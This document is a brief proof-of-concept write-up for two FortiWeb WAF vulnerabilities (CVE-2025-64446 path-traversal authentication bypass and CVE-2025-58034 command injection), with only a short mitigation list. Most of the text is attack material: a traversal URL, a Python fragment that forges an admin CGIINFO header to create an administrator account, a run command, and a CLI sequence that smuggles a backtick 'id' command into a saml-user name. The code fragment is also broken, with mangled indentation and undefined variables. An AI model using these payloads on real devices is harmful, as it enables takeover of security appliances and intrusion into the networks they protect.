FortiWeb Exploitation Simulation (CVE-2025-64446 & CVE-2025-58034)

Note:

• This document is for educational and security research purposes only.
• Do not use to attack systems without permission.

1. Overview

FortiWeb is a Web Application Firewall (WAF) device used to protect web applications.

In 2025, two critical vulnerabilities were discovered:

• CVE-2025-64446 – Authentication Bypass via Path Traversal
• CVE-2025-58034 – OS Command Injection

2. Overview of CVE-2025-64446

Example:

/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi

3. Overview of CVE-2025-58034

4. Exploitation Process (POC)

4.1. Environment Preparation:

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

This helps avoid library version conflicts, ensures a stable working environment, and limits impact on the system.

4.2 Exploitation

Payload

 cgiinfo_json = {
        "username": "admin",
        "profname": "prof_admin",
        "vdom": "root",
        "loginname": "admin"
    }
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
        resp = conn.getresponse()
result = {
            'target': f"{host}:{port}",
            'status': resp.status,
            'user': username,
            'password': password,
            'success': resp.status == 200
        }

Run the tool using Python3:

python3 exploit.py <IP_target>

• <IP_target>: The IP address is the hostname of the FortiWeb device.

Obtain username and password -> proceed to login

Successful exploitation and created a new account with admin privileges.

4.3 Exploiting CVE-2025-58034 after Account Login

After successfully logging in with the newly created admin account, an attacker can exploit the authenticated command injection vulnerability through specially crafted requests or directly through the FortiWeb CLI:

config user saml-user

edit "`id`" ## nhập lệnh tại đây

set entityID http://foo

set service-path /foo

set enforce-signing disable

set slo-bind post

set slo-path /foo

set sso-bind post

set sso-path /foo

end

FortiWeb will exit the configuration string and execute the id command during the saml-user configuration.

5. Some Mitigation Methods

• Update FortiWeb to a patched version.
• Restrict access to the management interface.
• Do not expose the management interface to the Internet.
• Check for suspicious admin accounts.

6. Additional References

• CVE-2025-64446 – https://nvd.nist.gov/vuln/detail/CVE-2025-64446
• CVE-2025-58034 – https://nvd.nist.gov/vuln/detail/CVE-2025-58034